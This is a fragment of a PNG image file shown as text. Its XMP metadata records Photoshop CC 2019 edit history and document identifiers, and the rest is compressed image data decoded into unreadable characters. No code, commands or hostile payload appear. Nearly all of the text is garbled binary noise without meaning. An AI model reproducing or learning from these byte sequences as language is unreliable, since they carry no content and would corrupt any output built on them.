stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:ca82bb59-1e29-6a43-bc98-4ca65d966418"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>��lo�IDATx���w|�U����hZ�����2e�(2��l����^���
p���Q(KTD-K��Ҵ�}�?NBK��i�4mz}?�@����H��>�:Jk�B!�/[�B!DtI2
�Bs�!�Ŝ$B!D1'ɀBQ�I2
�Bs�!�Ŝ$B!D1'ɀBQ�9�(��GA�'�,�B�x�DA�Z���0���I�B���Vs�����@��&����R��M�D!D��0�1ځD��:&����"�h"�"f��L�v
���@Y`%�!���!��hN����vB!b�	�)��8�FkSS[!��B��*<�
�-���q�@!D�p%P9�A�S,%=��B�b!��
�)V���@�h!���h��)V��j�@!D�R6��S�$B!DArF;�p�d@!�(�$B!�9I�B�b.�W-�1��$&*0�*�w���Z��B5'є!-�aD�$>�D���$B!
/I�Mz{����_�y
٥`*��I�&��;I����A��#q��>$cR�2=�"+I��V�$/��]��I��$BdK.�B��A�!��}G���/�Uh�q������p_~���Vh��F)����6͉J�;�F��Pw>���r(��M_����9n�\�m"�<8���v�
��r%�O��r��O-|ʎ���Zf�	!D���5����@b��ʃm�Eh��l�>�vO�IZl�d@!bӯ�H����}�����
�v���0�>qI2
��G���)y�ӽx!�����y�K��Q8�/R$B���'f�`�&�>H/��c�W)�EFa9*�"4��n+併�$ʵ3o�8���z@�|ķ؈�`��@5�6p���Ph�n��c��|�X�H2
���0�I�N�{G�g��t����<�O�LL��'���~�C����ņ$B{��ڽ>��<�
`�p/pCG;��A�s�ǧ�?�1���q�I�}h��:��_ѩ��	'��It�d(i��Jb�f<
N�+�J�V}�n�J8�h�R�Pel��1!§b��I���Q�e�$�R�-V���k���^��+�$(�����Щ_c����
]��
�G0�y�d(��f�����.�<l��dl	����@���	
!"��Z_���(�O�J�|_]\�vG�.�J�YdI2Pp4Q*t������=���]H�=�vb�%��)��f��A����'P
�S���)
Zh��u��X:�u�Žت_��e"��Q<�G��ɵI>ܴ��k
&�
�2*��rف.~�"L����D���Ix�-�*�d��d�{�c%�ӧ�4���9lWht�6�
��u��X8`���6ߏ����0	�"��.��[���Lo4[���\�sI�6_��
�)Pj2�m�aY;�u3<��,���{1����d�}0��k��(�߁=�N�g%@�(�&D��h�v�(��)�E��:����a�S.,�$���	����d���p�a<��ª憲�/f�cZB�w~6L���|�
�Ƕ�iu+A�h(DX���Y�:�bZ��ݩ=_α<LvsI$8-BɀETx<i���V
O����+���~�®p50h�ډ��v<���2#A�����^���P؅v���V�n�?�q��粘��c�^`�E���ᛮ:�*
<���n�H2pZ�/�֒
��?�୒f��|
<�����G�¾�q��₟�
�8S2�	0X�vj/�j
<�ir/����3梻33�C��m�����5f|ѿ�v�8��1�׵�[1-�e}�-�	zq%����h�~H2
�iaN���#��]��8����1�}��G�3�8��.�����"_�ȏ���gr�J�Z`fd��
8;��aޯ�"pW�g��A-��\�`�
�|�
ɀId���h"��.���<5}��V�r�]��D���muC��4hO�{���!2�0��r�\51��K
�D�{dS��x�707Ǒð�d
|,"���r�Mj�2�s0ku߇Y(�`�����>��*t���w�����y!��M�f��܉Y�(Z��^�('�"Hq!�@�D�g�������[�d73t�8H�|�-�e*���b<O����Ǯ
W3<7�H�.�x�Kh
b�$��`DI2�Ht+Z�"-e��b��)�Q\W�ڂ��'�o��W&u�&��(�%DQl}�`�!�a*��,|�%�<��0S�ԕ�8�����pX��@��K��	�/�Үģ�ͱ��L�[��Af1�o�9��acҎ~���+��F����I\��m��$3�`>�5ڽ5�V�0���t�b�8BK4D&�ƙ?^"�����mx�y-�����2�r�-|��d���������Q����H�`ଔ�@�]
�_���#�x{}"�;"F�x�l̴��׈����{s�{*W`:�6���37��j|�#r
�@�������{�y��";Oc΅Z9�>f��!����0�@2�\�{lĬ>63G�0:���~���g�h��k/!ҝ�r5@���e�kI��L
�>���M���a�2�a�c�q`����\=��GA�r���vX�<Ggb�Ŭx��z*��)�܂�(&���sI˖-׵h�b}�ƍ76�����I�V����_�~}�u�ֵ\�|yL�St�%�u�����w4x
p�n1��m2�H�@nF�_�YS_�'�
�d��<�36ŀ�L
��v/
���-z��RfG�Fh��γ���@H����i!$a-5��+��[�U�7Xk����<�n�c.��I�_�;#F����Iy9�[��5kֵ}�ѕ���`��zcN�E��h0�k�Z�=�J
jG3 !
�D�[��
��5�&LB�����_h��>�r����X+׋�m�y�~"�}:c�嫅[�IN�f2��+�3�.fJ�@�������ws�L辋.�h�c�=�`����O|�e�Gy���׷��!0\k�yv����K1�	JtǶ�ku�,x$Df=��%Y��\��?1���}_͸6�6��N�gU��7K�a�c�5˴�F�|�;�%�ӕ�/�H�P��V��x��%���̉@܅i�7lذw��E��x����V
�ꪫ>�,z4O)uu~�AK0M���b��g�F��5��\���%}��TL���l�zV�U�z���9�r=����	���M�Gm�
p��@��q��H2�wa�28�?oa���J��^�FcZ�f͚5d涩�+F���ߛ0r�ȷ0�	�SJe7�0X�)X���Cx�|]�-h�cq^Z�F����1/ӱ���g~�b�>�B��g��;�z��#��}�j�rM��Fzx��<ݯ-�f=�:��(W�L�
;�ʕ>B�j�S@��2�
o�6hp>ֿ����q�@���I�9s��^�}8�䭿^|�(Ŵi�F�(�.�Z��=ac�D~�1���E�z��Q�)O6���E"�r�ȯ�P����ظ�����
(ןh�����5�Ӫ�q}������)�;2|-�;�Q�吳+�����>L��C��$y�D`��5x��<��~#�CU��[m;v�a3�Y��r2m�k�|��9s��$����o`��<u�����(�A��W4���]ߌ�ҐҮf��Z�^Z�J��}G�|�D���SRR�?���c�v��z�;x��
��O�e(6�NKI
D`O�\N��Q������h��12g���-
��ag�Zv�b�>G�6�}1$��/�0�H:�9�f2�/0uB�?�N�^�&O��S��-Xs��s��Uo���W���XX�4��w'�\;��[2�2�Q�^����*Q�؀�.����n������:�'�Ͳ�Qx�4���.l���{c�/^r�{'O�}��ؘ,/w�#(�
�~�3/�)��A�L�T�m���SK$����3Mx�\YC�$�C����R��L�0�sI�&M�3���<��x�J�B{q��[�@�ޤ�
k���;
\����RR��7�X��Y���7�ϳ=~�˱����}0ꋟVռ��'���NM��R<�%c
DVG��P��9�]���!�^��=�`b�$�	��fc�����j���|�n`����g4��~r�[�ـ{���+��0���fm�����
\K=J��iI�hY�������g�i:�����^��럜���g~�q�65j�
�f��$"��R�w����\K
G�S�P��.�Ba&�@p�]vx?�x|�>���ϢC0/
f�3���-TC�y�:0V)U��X���Mx��A'E7c?��)��X����yeb8�����L�=��ş�!��$��c��Mh��J�U�!��HI�@��?Wa�9�0�N��i�0�e�#�L��俏��B�~��4�
ރ^K�.+V�Xq=��f�}<е�m?�o�hHR�A���5mڬ�]re��r�g֘y��n���s�x)ϡÕ��+�q�*u�E�k.�tɆ�7��_��3���5=��o�AXX�=�v/:��v?�r%`J���8���v/G���̢a"�@��n�+�S���'���K.���y��..��5�d�
2`a�@m��}�5C���V0W�a%�N����9�f����V�;iңK�/�?��e���RRZT�z�G׮�z��N���X/�p�5m:7���Oހ�/�-���L�w93�P�G��|U���\Wc��0�n�KF�ϟ�f�L~80���v�񩄹iѢ�z��Q#/���	O�T��
����X�_�ҾiK�k�ܳz�ɝ���������ہU�b��;�c�!�܋�{��[���{�N���q��v�t��:���۽Eժ{����,S�E1q'�hL�V���ӘIQ��y�aj�m2�l���VJ�
"�-�Y��
x�{7��"�|b*��f^y05j�/:�P��	�ݿ���Ǡ�xx�ٹ�F���(
)7?���s��
Xl劣~zᵵM�C�
���V9�`��f^�z�	/�9��W�\�k^�����hl��o���+�X1Y[�ESW���M�~���4�k2���z�\�0w���i��ړa�@�
mP.+�6�l�r�߅v�E�~.�v4Y����0��a�,RS�ʹ���`�ȋL��s0�;s9����]�z��y17�pLE
F?���Mܿ�L5�1ӰھÊ��u
�M�Cm�~����F�?����&��	��)�����ϛ�U+K�(z~1mٲ^ñ1]����������#��}��)�S���A�d�"Y�(�ś�K��K�
�BԢ��y�$��y����X�R���m��|��+1\��H9��ၶt���o7�r^]T�8�tF�
Q�7o:��~��\9q�Ȫqq'g`�[�h�a�S7hw2�t������-9&Ʒ��BM�������
�Bz���Sv�6�ָr��GX��Cpn�}%+.o�ị혥���5G����M��?�A���Q|��f(Vl������NͼM�{[���_�Ba�(-��$��_n�]��Ap��!���B������
^w�Y��k ��RȺPHa�L�AB���z���
ιMiH�2bx�饛�$����a�!�E�!'~�QL�q���p��/�Q>�6�G��T�f;5�P�Q��;����&�X���]
�DyXH2����/������p�f��_�+��h6�=0���3WP�]h�¢N���F�3dI���y��m;y�������f�ac��2�=�䓙���վ�jW�t�_�*�
C�_�
�Q�V�BG����u�Y�k�8̇?���_%�|�<ۺuk}����~B�[�r�`��>���H�+�w�m٠a��/Z4`T�_���
h~�|��@�7�_���%(*q�����@��W��c�+�|�d
^��T�j�
l����#p�<Y�~}߇�G�j׮
���4���<W�o�@�>����҇���y��[��$�/�6(ڡ�k�޲K�[~n���_v�{�1���x��6�{��AlW��X�I��W��]�2އ:�"�E�����nݺ���G3�P9�N�9��]�:ߣ�Թ�C��t�������j��8�oٲ%K2P�B���ոDQ�%�-�*��D>�lݍvob���e�=I�l*����b��cs�ν2B�ʷ}Wo��ŗbV>�>���j͚5|���'�Y��H_����R�J�*eYu��/
���dg_��낏�LgLIII�"6�S�b�j߬�����A�����>ϋ9�p_<���C���XG0k�t�|*4��c�f�w���S���.h:���ny%�����[o�ČxLk�j����?={i0n1V���L���B�t:�U�V�Ȯ���`�KF�f���ɲ:S�%NX�Q�vw��y�4��SQ�πK1�O7+�n����Q�
@}�3p.fYs��%��iL�G��GP�0���|qNC��_�U�_@�^Zc�
���'N�d
�V��AY���"|���S�NM��O��Ν߿3�ୂ>|�:5��Z�[�H�Ȳ�lo�#5��ܸ����+�+���
v�A�C_E�w3sx��r��@��Ȱ�ӕ���T��}9�u�aXv���n�0zk���D�F����pU��F�\Y<��#�bZ^�ZGe��p�O����-`�{X��S$�	"t;���J�K�&S�Ig$��������
I��#,�֗t�{�Rs�ν�+�^^@�d��c��o�[��꼑���:�k��e�ыH��y����+�͘����{
��
��=9�d L����ka�͗�i�ƌ��3~��W�~
�~�O8cجn3gμ���Z��_�Z��t��x<0�"O�A��W�܋�m;fst(�a�쾈vG�N�1
g��BK��0Y�NŌ;�����7x�ӣG���}��ˉ������>|����[�֑qe˖�E��)S�E��Vj*��h�&D>|��/x�u+f�p/�;�����t�"I��0��?,+��`��:ݻw�&]c��oĈoa�;�ֱ0h�׋��e˖�)S|S$���B&�(�R�@(�x�%�gv`�u�U�����=g'�@�,E�;���	��4��?~�+WT��v�{��O�R�Ҹ�S�N�:���Z?���&|�����F(D���}�0R��(�4��L�8���B��v�Ɣ�>�ȁ$a`���>]�S90�7�<�p
Pb޼yw4k��;?>"�������{�m۶��,Y2���Ck==�vJ)�R6����P�'�~����7�P�"(�ų���W�r(��j`d[^�A�B���wl���?y
u��o��c^|;	nyР)����a��	$`*o��ɺ3��=sA{
99y�c�=�
<���?��˾l֬ن�w�0�UO���z���,YҳI�O�a�R��g��gTSJ]��1`�,�T�y�^,�:d��vi��+�DYMMM�3�3(W)̀�՘;m�Y�5pf��`�)UŒo��Z����Slȋ����,F��;+K���@��0X�>
T����Թ�����~�M�$G|�Oz�aʂ�mn�

�3g��̙�_�1j�0	�����S��Y*�)�f�b���̬1�	�qH��T��ʾ�Ō"N�=�4���Yg��jtiIDu50-何��bJ�1�;
SX-?-����(��Vs!�o2�:��+���j�nL2��J�ј��値�C��4`��O5j���'�rM�������N���Lֽ;á��g=�KH�b(E�/���>�]�b��,}n�$�[�:�+�,�&q�$�L_�?��(�p��8��M�[����x�?��:�KD�.(W�
�	d&�sa�(#!P�(WE�;�~��'�$�@���_T��ﱔR�wI�^{��{�gb���=�^��g�Z����<��W�{�-�\܋���q᎝��|��R�5��1�j�0˕&�W	�9�]���g�^
X�*�PHpp�Ws���G��b�FmE�]A~����)E���X�4K��a�i�1�G'��<�o�m���˅)vU��T�Ҙ��Ts�@���E8�M#2�0v��Kh���q�RO�KfΜ9��o���ss\��/o�pÆ
���2fůw0sl�c.�����6ކ)N�����J�;0�����I2��>Z�_�I�����i�O�p�	ˏ��f%qv�/�7s���4��n��E��?�ƽ�J��d�ʹ(ﴁi���v�d@mW��O����aD"ʛ{Q��O�V�����$�=�b��J��1}�I˗/�:l�5+���[�����ۦL�2��.��
0��f\A�<�S�x�w�瀳/��Y�D��}f,j2�|Ni'�S,���Z�k�7�*�p��(L���0e�/�%�xL��Ә5�וu�XdW\t<�̭5\{����N���v��>��1xghƇ��u����^A���reY�2媄�Z��V�H�a��(�(�Eä�
���?��쯔���Nz��o�p��g�7,��
K�z��gϾ�������{��]�x3S@af'TjcݴƔ���6l�A�2RDk����`|���/��g_
ϖq��4HO�/�Ř����T��:ލe�hx0%�S\z�͠�q�9�
�
x?ۍ�8���4�;>��DQ���%(�$
�>�E��a��݃�%R���,���ڽ%�V��Ӫ:�c�)1�f
��oN���C@ū����[�4��|w�0��_~�T���?�<11��E�.Zs�=	H8p�]�v]~�m�}�"���t	�"��K����x���b��''���zb�L�̂h��Pî�;m4H�PZ�����'~]�^�;\2p�h�X�"ϟ.y�^g����(�ڢ��>v�\?{0w��`^�yi9,hv�V���S�w�kԆ����i=!�d
���ܯL�(�.�d�I�?�����
�op�,�k�`��[�Y��տ��[�����SRR�R$$$$W�P�p�ڵ��n�zu�g{l\p|����J��r�:�83a�ꤗ�Ur��T<Z���ь�W6�G=-2')^�Q*�tPٍ��,�Kl�+��
��+�N�(��JZ�e��lև�U�Ԓ�r�tIJ�)�EQ`h���U������f;?��ǎ;�ᘳS�UV�^��d��)L��3i04I@�-q6�	�"�Qi���t+ǀ#��Kn�ϫ�R�UKlW�N���	F2@Jt����4�3��֮i�Q��k=��b>��G��
D�"����7'�e@)�Ӽ�o�旟
{Ty����Q��.sJ��u,�
$�-�p���R<��~<@0,���O��'---��t���T`5���o������}Y�{�R�l6k�֭�_���:Tc/��E��B�$ᑆI��-!�6l�;3�E$�������nZW�g���_į��b�A3A�J�L�g"0���5&���σ���t:�=�H^7�y�Wj"��yb��=�:�����`�↓���x�܀��2�H�bA^�a���^=/])eÌ�O5jT8���K>[��!xӫ5�H��qlJ��K	;�W��rqL*������sHK8Z�ɠ�q�/8��bm	W������<|/%��,�Td��Cs�N�
4>�vгS*V��w���Ţ��!�}WB�BA��0�q�S6/���t~��ΰc�������x|�d�2N�x4�J��#�L8�F��]_"pw�x^�&x�r<�Oyx�x��r��T&W�:���Z'{��X*�"I��ۢ-qp�e�H��#P��8z��S�[�����~i�/�p܂�Vվ��;n�_��YX4'��bB��$�@���ü��u1�>|���Mc1��(@���X�fu�!��ݾ�wU��l�w*�3�@
sy~_��g��q�~扪{��m����mʣ�T�}x��+�|q֬K_<2g\��]�w^��hl��'�N|��o�=�_�&k6�E�SF�E�$aP
忂U��n\|�š��/����3��پS
����0X�J��p�t"����"-SU='�H�R(KJW������p���x��zsj��_�S~�����&���ye��XI��Y��A��1Ur��G)���Աc��#X�$l�f��^w���~|K��])��s���@
8˦�f���r�\W�Eϙ�
�m��S������T��A���*vDZ�+�Z�*[o`Q	��?�3�4<��\?��7���j���Rf%�(�$�j����
r���F��LO���£�lg^P/?����~�F@�]oU�g�~�Գ)vh�\���昵�;l�`�2��#����P+�3	�����M�$޴�x�P�v����*V<�䯓��_�Y
~c�O=.h�3�"Bv��A���^���\^xa,�
����4~.�u��Sx�R�@���:�rj�xF���66�&
h����N������vN9���ӓO7g/1�zuQ�L��u�E�{����ټ�@���}�F�

5��44p��!D�d
Z��en�K=�z���ypW����p�ӆ�R�#��^�L
|�x�˻���[����]p����ƙ�PNW����l�7�R����f�b^+��S�o0���@}��X<��Ґ2p�]�������q׮JMQ�B2��@���ڈ��ַo�Ok:���"�����$a�U�a�
w9�q�ƿG&�B���?�f|��+�p8��|	���nn�����9���w�eW�����wڱ�U�������U���0:�N��as8�I4G%���m,.�CiH�m��g.�tɆ��,x��C|�{%���g�uVĦ�6��~r��iA��!D�
�a�UQA�6�V
��u�֭��آ�$�����`����,�v8[�8^=��g�x�3��-��켕f�����5i^��s]��9���	��`$'����y��			5SO�J[�v&�8�`-�D�A�!�a7��μ��)Iq=[y5���B��b,�����q��C
6H�6]�ת/Y��@��"�H26(U��^�9��r_�K�ʕ+��e��n9p/0��nJ�q21���W��Z>���O��	���To�'��i��פz��s0$�K�yn�E��pH�P�…*T�ڵ��x�5��4�\ڰQ�e��>|ǧ7h�W�sF҉e��F�Z����T���s�Սh~�Z�6���Kv�ZLB�\H2&�P��̛��T�P�B��Ժ���cix+�x�`��)�S�Q��#��7��'��,���%-��Gi^왮E�R=,�s���尥����Rʦ��0]e05���.�h����+V�YsZ�v])E�5��qՕ�:?�v��Oo��-��~���q��|�u�4���Zv����OD3>��B0I¤;��yf
ׅAl^H*U�T��dcDy�>O�g�g��WO`��SYvxx�gE��d�
np0�8�˕qv>�B�9���.;�,[��L�)A�j�+0T�dɿ'M�4����{���E���m�G��H��G���8�߇��!���7x�a�^sB.��]���UZ��9��&}P'0�N@n�����%�&g���\�o�=���S�S=�bz]������-�˘I��z��i�T�A�]�^^J/jtsN��Z�l��}V�J�vw��ax�c>-{�z�{��uݞ��{b�[<�T,��l�*V��V�r��iQ�⿛�쐄@��"�@������)��t�e��Ėx`�����i�xz�)&T?���|�xn�u!�ƌ�_��c<P�G�^���qʖ5!���Å&!h��-7q���iַNu�С�			-�@9�G�M=���W�fol|��ƹ#��+�*}j�;C"^ֺވ�V�
~�]�!b�$a��߇��H��0����>��;���Z^�ϝ{S�X���:™K�J��#���N;��[4�O�R�
b�_Ք��.����:����.��Ǔ9�'oy�>�Zmx�G^����
Wac!�|5=��^��*�U�K�*}�I��)2f
�F`;�����N\7L:��'�߀�>n�)�Ut�>����{`A��>s{*���Ք3{[Zx5N

����t�����x��'�L>uq�2����w���ÞX�e�Z�m6���v�8Pٲ,۶o��j�￷�c�2�!��G��?y���Ѕ��/^S@��;2y��_
NDsw��RQ$��l�'��h�����zi\A����2y�o>�8di���u
������\���p�|�9�
��T/�)peH��i(�G�
��xU�\�*���W�R-�.7���Fo��8>
��|�f��Ւ
�PժU�T���Х�B��
�@)����%XՀ��}2p(��+[J5�0g?�O&�
��e{`jg]��\�����ӈ@�������7����%^}�ĉ!��ʪ�͞�l͆�`a�"��ì5�	E�0���{���R�z���-a=|�z=�}S���$��]z��a����!�@�ݍ���|;�@�~�-���76���^w�)���w8`�a����̸��`��w�>��}�eW��j,�y02�Nܩ3/�)@9�H6-31ŋ�
xѢE��ի�BE�Ⰵ�XPA�-Q�Ӛ�ON|nP�	�f�F�|6����ɥN�:x���x�,o!B�y%�Ywl+Ö���|0�ڗ�R`�W_}u)��d�m��y��@����^���ü����|��tvڙgiֺ��H՚k�6n8�����b�]���`B��cZ��L�&�k���Q�MQ%��F�x��Cs]�s�ԨW/@YVD_��f�(��Q��o~���)�r�F��B��Ei_��ڢ��)ԝ��t��ƻ����0�3;3�n��u�v�
�{�@������J���`�r��7��y��3۲���x̯��L�8i���?���}-k���q���T>C/-Ic=��K�V��ю
����v�E�Wڎ�ZE�%E��GS��V+�p�Bk-S#�짜f�[K�5-��b��n|�
c��A��D�gLG��3�Z"pI��1酈�f~�W�^�-K���H"��X�L�c�8���H�(��B��$P¶����ks[zP}����?���4�����
V`$�>�`S���7C�oz��@�'Ŷ5���v��q��T��{bu��'O��ڢ&��,��D�����DP����w�D�?����Y���
�7Q+��,�����b��a
"�v��S�V^�
L����]�����WS�ke�{��;휝�؉�����Tg`E�w��ѣc�����L�[��~����✩�fO;���R������Z��:pb��Bk�~���9�g�(�=��.YM��6��+���%���vn˼�	}�3��ﱼ@�>ty���Q	s#W3�˃��cp���<�Q����uB�h�*o��,����~(�@d���x���Sͮ���ߐ�R/`
%�1b���_��
�����9X��L=8l��%}�9�A}����
�l��vm4�46[P4GsaZ�I²8;�z�4<t���2��pl��h�7]H���[����>��c��r���J�Z۵���Ź��׶��~������kw����l6��f��<���i˖��]���8�y�lښ��Km@W;�`^ae����]Q�7���JWE�lN�IN�T2���i=�&�)G�3��]���k֬���^�A��ݿ����S��Y��/��t~̈����xS�ȯ��kW��8;ߦ�<��x/�*�O�����)���/��
/7��K�0�]�?�',�Ԕ]]�{��	۟�\�o��b,f̘1`���>��s�z�Χ�~�ع;E��UhX���
,�
��ǡdy�	�
�	$�`�������(�i%�T�u03����J5Ԯ�(k���Q	E�*"I�5��g��T5p$��SM��T��ZORJ}<�k׮~�&M�8iҤ�<�.�=
ߵ;߿w�u����c�y���0]��߁��Wv�\��[��żyڀ��R�L�w0"%p��7.�ݧ��O}����n�gy��Q��"}j���	�{�㍿K�������(`��v�ޑzO�,��N�ЬD�ބo��@�O%c��1��5��-J��s�|T��w:��Ϛ�f
e��u����6EɌ�bF��{��Y��{�\��x:�vZ�@�T{�;p�ţd���ˋ7�y�s�����u=��0m�����ӷ�:��x;����0nd���qvn�j�Y���R��qw��S�%�m|�
1�2
*‘�؋l"����
�w�g�?�ݘ����Y���XU��{dxj0Svc&1��C�ל�u�����(�|�7�h��w�ð���%V�!�@�%@��q|=O
�̻yJ��9����d��l���%�����%�-�΍���oML�21�3ZCz����ɡ����#:�!�BA)��h�s4�mZ�%w�a���^�%>�j�
�|_>��=�B>)���%��N���5[�U������&`/_1��Rm2����֣j�4����j�T�ǘ��þ�v̸�6�'���7��O�0kD�K+��?�+��a�b&��~X:Ϛڤ����֗�ǔ���ym�
��@f&���8G�OA��V�F����ߕXc����8�4
�h��Up'0)�!E�Tߣ���=rs'�5�?đ��HB��K�[�u�m�һ���t�3�-'0I�t�p�z��7�5�ɏb��%
d�SQ`�e�����v��'0�	��;&@�O�ϝI8�T���Q�����M^�{�/H��Ň�;,���|]��P�^�%j�v�K,)hC$(@7c��
�z̠���@5M\٨��s�����	[�J�Ś��O1.P���]H�C�?
U���"�g����A�ֽ�2��8�9�u$(`���S��!��R���H
�گ��U�&��\�D;�p�_�=�X�0��BW��=ɧʂ�a�M�Zsi;G��Y*�>�	�
��E��yp��ruHK���r\"��]��eKpnt�IL�B=k
<	�qA�2���yd�io�d
%%%��M����/E�O��X���qAl�|
�qH�g�h<�ݦ��2L�D��Q��������k(���9�'
1I����7p����n�rH��F��d���K�eY�����$*�3p?�R9�y,6�W5$��"�s1�'`jlm�ndQ��O��c�mL��?�!���%�@����^�}�����'§?��ʃ�7܀�}������a��:�+�t�n�{��.�7kCҚ�AW��ꈙTئ4�s�l݆.߄��O��D7,�W�Dѓ��]�m�z��g�Cʑ&��&�b��¥���a�6=��E�㉨�|��u۶��yJR�>��K�^�v�.��i��;Ư_|yk��[��_�튓'�n���f���\v+n�bj�|�%��)��}�JO��(���eOl0c��c.d��"u�"�`���ť�ANq}��9ǹ�(Ҫ���݇:_���f|n�$ׇ��<��f�l_�}��Y���ܛ?���1�
�T�Z��240�_�=W��ʧ�~��g�L'���H�>�:l����_Y���Z��#����]x��³MK�I�
��U����H�m9�|��1o"o�cZ�.��u����ҵM3�p�����o���uߙ5뿛��U���sYpx(��"!!�a:n8�_ߗ�^�x̫K��,��ؘ\L�Y��x���:�;r��zj�%00G�I�I�f�:>�����>�~!z�8.Ƕ�
ly[?��Ȫ����i�N��E_<���:��s�Mg0p�öe���%��p<��T1�'6�N0�����7rc�1��$�g��X�0�`��ǐ�Ɂ�#@3|�q��M�ٳ確u�&����#7�4���]�v�X�lY�����˖-�I`V=}Vk�㰍B�>>�w�M��h�
aB
ɀ$��d̛еx��j��S���Qo�+����=���wq���f��"�R(:��*�M���,C��EgltFѸ�>
���1�$�@����A�O:1�t�$]x�ߏ;v��S2���_��_�y�ܹWb���0����)���n���m\��\UȺ�%�d�’�݃��g�S~�Yl�Ht�*��a�Q/W`ݏ��ǰ7�rL��'�M�:��~Z����}���Uo
�瞻���n����N���	�ݸqccߗ��Z�	�m!}�	|
�
�ۻ8�P�JVH2`��B��	�)���X�4��.�,��2�݊�������2�*ID~<�w�/�b��Kf�/��g�}����׷�o"���7VYקW�^�|_Z�������`�����-���$(�n���G��UA�Ɣ.�����0?���g�n�/���xk�Cx�>�#�.��Z˖-�o���k�1��婏o���?��R��y���(��s�6G7�Yq��j�P���s]Ol1o6�b�ՏndQS�?�.��f��GQmE3
���SZ�7B8�D���o]W�ǁa���{��A��c�CxO)U�*l��e�O�?�ۣ�H'�@!Wz/��U��śuƻ0�˒�q��wЭ$�z�O��[��	E��s8�/0v��@ҬY���3�@����6mڬ�?z0�����/,(ݙ4�l�QH2PD܌��M8;��������[�a�ω@��ض��3a��Q�KĀ���܆.�)1<D�r�S�7�Gy���Hս���0��(b�l=���-U(H2P����g��p���0��cVN���"��S|�~�ѷq��5��̗"7ӱ~��u�B_Z�#!fмcǎ�?��޷�_N:?�v�ȑ#�´�M(���La��%XMf`�<L��$E�l]�%����׺L3[W
X�i�,�z`��D�[��ľaβ2HP�E����x<�|�>��u��Q@�5�\3'�C6a„I�ց+�R�����x`��)a$�@����n��a��4K�^|�y�
JF3�<(��w&�K�
u8����sM�ެ���㯣��z<��M���f�P4��:�!#d玫�2p�1�
���9`��
���.���Q_4������9�<�?�jpZ�1U����Q��a�=
\�(
��Ŷ�IM+B�
`%��X��_�
N�ei��36�,�X�dw�3�EXM�`t��.\Ç�1���OX�`��ہ�)z��-̚
~@7�k���F;��J��QxG�W���4��?��
Yc�]�<��+0o�-s'�����>j��vL��:�F!�"�=iY�!(HEq�T�{��O����3�k	ЪU���JZ�l��U�D)�kR��	�xr$�R�Ku�YR���#��#�_�<����X5���D�d�{Lk�J`
p8!�Ǭ�v!f@`GL�,��%�v܇���1��[��
^��;��&-��IMKPJy#wF���LՖeO��g��ll�[�q�o���X�c.BM�����}�[�o��朋��w�̛e�0��a�����
4�������R�ؔ#.Zi�ȓ�(f�h��Ѽ����j;�U0�26���y��s�q��L�֣��=�Y�T¼U�,�Rh����>u�+j�8�MڣJ)�&�(��)p�[�.��юIz�*�zw�}�J؋�F!L�4Y�
�E/�����]�q6�rՀ�jժ���q¥P����1��O&�_�*��ӢI2P(��8��A�.�W+�֣+�FW��w�w�8
�&j�!�ZtF�j�J��A䃿RK�ʕD�%\�T���4��'��M�&�]�Y8'?�1`o���'��X�ҹs畉��u|�U�˽�<����hT�H2PUC1�%����z�O���KlC'�D�8Σw�ԠN�C�R�K�G�.�J+��
�,T�٨S�P��Q��A��̸���#Br��h֭[��,�s���/UF�HN(S[ك^����Ӈ�pHE!YyO)��ĉ��!`�;Xu&��JE;�)rd��;f@Į��r/^���UJai�@�	۔Ͳ�e��vW���E�~b����|�����Ҽ��>���s�6m�t޹��Fc@�a��
�VG-��
�1ۯo�(���2f@�Qd�;��e_���c�=6�bŊ���M�RVjj��'��˾}<���i�A*�p
�k���ni�^�˞={�Aݤ07Tɾx��g�Ӱj>�
�֘!ɀEP����o�f��*����%�^
�]ǀ�X|��[ᯚPSwi��;�e�ƍ��CR�|�m-�Ĥ9ہ�0�1���<��5����^��](�$��c�O��/]v	L2�m۶z���tE�*Qa��#x��!�j�u�a���JٝN�kǏO��@�/�o�_��xyf���iE����U��wa41DD�$BQm�1���ժ�ιb֬Q��T���/0	��m�p����]v�e�:=�fg~�����4fL���[�M�6�`������������o��۫O�7�P̟?�
߇�E�2xa��u�-)r�.I�QDu��0-_��CA�lܾ�$�y�v���XT��c.���U���%Ot��Jx<L����;V�v�
�e}c��$n���&����ӯ���w�|�����|p
&�����A'�Y����C��
	QDU�]�S�R�O�U
��GW(��d`?Ћ4bѲR坏O�|�T��k.y���p�	����U�
,˲�/���0�nC>��ƬR��w�O��'c����Z�}���	V%���"�QD��'?^fѢE}#}�u/l,�rӦ:�P�j����\Z��o�X�h�����i=�Q�*U*��"�5�?0��E�6-]���3�_�:L��պ6��:u�h��DA��}�J�j���*n$���c����ĉ�#}�#G��?	q��;�cѼb�]/}�Y��7���}�\���}�-[n�K��`��1e�õ�O*p7P�|l�Yd�;�x3p�
��/q�faV�-���K�
c�(�:cc*k�~4�����s}��{�:�x�'�iXTw8��>i���n��m����<1��_��矦i�C)E���HKK�v�|R�Z�|�ۯ��}�N~��w�n۶m�
}
Lw��#��>%W^���Z�{�ݥ�0���乢���ϱJ亥�7I�(�Z���w��W���=��C���Y+���~/�����3�[h��;<2��7&?���å@8Z;4�C�v���`�4���/����o}�bd$N2�ލM���P�ݵ�G#q�Bbp��݃N����
���@�"���=G�Y��os�8�~Z��;@����h�ǢN|¡��46�6�Կ��)'>�ۑ��/�Vz*��7�G"N~�ɪ
